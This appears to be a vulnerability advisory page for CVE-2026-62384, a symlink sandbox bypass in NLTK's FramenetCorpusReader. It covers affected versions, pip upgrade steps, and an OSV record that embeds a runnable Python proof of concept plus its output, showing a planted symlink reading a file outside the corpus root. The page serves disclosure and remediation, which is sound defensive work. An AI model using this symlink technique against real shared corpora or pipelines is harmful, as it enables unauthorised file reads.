CVE-2026-62384: NLTK Symlink-based Sandbox Bypass Vulnerability
HIGHCVE-2026-62384 is a HIGH (CVSS 7.5) symlink-based sandbox bypass vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting NLTK libraries in the PyPI ecosystem. The issue involves symlink-based sandbox bypass in framenetcorpusreader (bypasses the fix for cve-2026-54292). Remediation is available by upgrading affected packages to version 3.10.2.
CVE-2026-62384 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-62384
To remediate this vulnerability, upgrade all affected NLTK dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install nltk>=3.10.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show nltk
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-62384, inspect your installed packages using pip:
pip show nltk
Analyze the terminal output to locate any version of NLTK in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.10.2), your application is affected.
Note: The pip show nltk command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In NLTK, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-62384 Affected NLTK Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
nltk
|
PyPI |
≥ 3.10.0
< 3.10.2
|
3.10.2
|
References
Frequently Asked Questions
What is CVE-2026-62384?
Which NLTK versions are affected?
What version fixes CVE-2026-62384?
Is nltk affected?
What is the CVSS score of CVE-2026-62384?
What CWE is associated with CVE-2026-62384?
How can I check PyPI dependencies for CVE-2026-62384?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-f833-7jw8-xwrv",
"modified" : "2026-09-08T16:39:24Z",
"published" : "2026-09-08T16:39:24Z",
"aliases" : [ "CVE-2026-62384" ],
"summary" : "NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)",
"details" : "This is a **new, distinct vulnerability**: a bypass of the fix already published as [GHSA-xh95-f55m-82fw](https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw) (\"Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox\"), not a duplicate of it.\n\n## Summary\n\nThe original advisory was fixed (PR [#3581](https://github.com/nltk/nltk/pull/3581)) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through `self.abspath()` (`nltk/corpus/reader/api.py`, `self._root.join(fileid)`), which is a plain lexical join, not the symlink-resolving, `required_root`-scoped check that `CorpusReader.open()` (and `NKJPCorpusReader`'s own fix for its sibling advisory) correctly use elsewhere in this same codebase.\n\nA symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.\n\n## Affected code (`nltk/corpus/reader/framenet.py`)\n\n- `frame_by_name()` reads `<frame_dir>/<name>.xml`\n- `_lu_file()` reads `<lu_dir>/lu<id>.xml`\n- `doc()` reads `<fulltext_dir>/<filename>`\n\nAll three follow the same chain: `_reject_unsafe_path_component(value, ...)`, then `self.abspath(os.path.join(subdir, value))`, then `XMLCorpusView(...)`, opened via `PathPointer.open()` with no `required_root`.\n\n## Proof of concept\n\nSelf-contained, runnable end to end.\n\n```python\nimport os\nimport tempfile\n\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader\n\nroot = tempfile.mkdtemp()\ncorpus_root = os.path.join(root, \"framenet_v17\")\nframe_dir = os.path.join(corpus_root, \"frame\")\nsecret_dir = os.path.join(root, \"outside_framenet_root\")\nos.makedirs(frame_dir)\nos.makedirs(secret_dir)\n\nwith open(os.path.join(corpus_root, \"frRelation.xml\"), \"w\") as f:\n f.write(\"<frameRelations/>\")\n\nsecret_path = os.path.join(secret_dir, \"stolen.xml\")\nwith open(secret_path, \"w\") as f:\n f.write(\n '<frame cBy=\"000\" cDate=\"01/01/2000\" name=\"StolenFrame\" ID=\"999999\">'\n \"<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>\"\n \"</frame>\"\n )\n\n# Attacker plants this inside <corpus_root>/frame/. No path separators,\n# so it passes _reject_unsafe_path_component cleanly.\nlink_path = os.path.join(frame_dir, \"evil_link.xml\")\nos.symlink(secret_path, link_path)\n\nreader = FramenetCorpusReader(corpus_root, [])\nreader._frame_idx = {\"__dummy__\": {\"name\": \"__dummy__\"}} # skip unrelated index build\n\nresult = reader.frame_by_name(\"evil_link\") # normal, routine call, no \"..\" anywhere\nprint(\"frame name:\", result[\"name\"])\nprint(\"definition:\", result[\"definition\"])\n```\n\nActual output when run against unpatched `main` (commit `35813c8`):\n\n```\nframe name: StolenFrame\ndefinition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\n```\n\nThat content was read from `secret_path`, a file entirely outside `corpus_root`, via a single, unmodified, public API call. No exception is raised anywhere in the chain; `_reject_unsafe_path_component` passes because `\"evil_link\"` contains no separators, `..`, or drive prefix.\n\nVerified the same way for the other two affected call sites, `_lu_file()` (`lu<id>.xml` symlink under `lu/`) and `doc()` (arbitrary filename symlink under `fulltext/`), both succeeding identically with no exception raised.\n## Why this is in scope\n\n- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own `SECURITY.md` names \"shared environments... multi-tenant pipelines\" as its threat model) plus a completely normal API call.\n- Core corpus-reader code, not a demo/GUI tool.\n- Confirmed unintentional: PR #3581's own description states the goal was to route through \"the `nltk.pathsec` sandbox... including the strict `ENFORCE=True` mode\" and be \"consistent with the validation already used elsewhere in NLTK.\" It doesn't achieve that, since `abspath()` never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (`NKJPCorpusReader`).\n\n## Suggested fix\n\nRoute all three call sites through `CorpusReader.open()` (or pass `required_root=self._root` to `validate_path()` directly, as `NKJPCorpusReader` already does), instead of `self.abspath()` plus raw `PathPointer.open()`.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "nltk"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.10.0"
}, {
"fixed" : "3.10.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-62384"
}, {
"type" : "WEB",
"url" : "https://github.com/nltk/nltk/pull/3726"
}, {
"type" : "WEB",
"url" : "https://github.com/nltk/nltk/commit/736d3212a47de2005b85b785dde6720556d3925d"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nltk/nltk"
}, {
"type" : "WEB",
"url" : "https://github.com/nltk/nltk/releases/tag/v3.10.2"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3789.yaml"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-59" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-08T16:39:24Z",
"nvd_published_at" : null
}
}